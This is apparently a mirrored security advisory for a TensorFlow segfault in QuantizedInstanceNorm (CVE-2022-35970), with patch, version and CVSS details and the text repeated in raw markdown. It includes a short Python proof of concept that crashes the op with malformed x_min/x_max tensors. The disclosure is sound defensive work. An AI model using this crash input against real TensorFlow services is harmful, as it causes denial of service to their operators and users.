Advisoriesby IbisTensorFlow vulnerable to segfault in `QuantizedInstanceNorm`
Impact
If QuantizedInstanceNorm is given x_min or x_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
output_range_given = False
given_y_min = 0
given_y_max = 0
variance_epsilon = 1e-05
min_separation = 0.001
x = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8)
x_min = tf.constant([], shape=[0], dtype=tf.float32)
x_max = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation)
`
Patches
We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou,...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.7.2 | 2.7.2 |
| >= 2.8.0, < 2.8.1 | 2.8.1 | |
| >= 2.9.0, < 2.9.1 | 2.9.1 |
Details and references
### Impact If `QuantizedInstanceNorm` is given `x_min` or `x_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf output_range_given = False given_y_min = 0 given_y_max = 0 variance_epsilon = 1e-05 min_separation = 0.001 x = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8) x_min = tf.constant([], shape=[0], dtype=tf.float32) x_max = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-20
- Also known as
- BIT-tensorflow-2022-35970, CVE-2022-35970, PYSEC-2026-3183, PYSEC-2026-3326, PYSEC-2026-995
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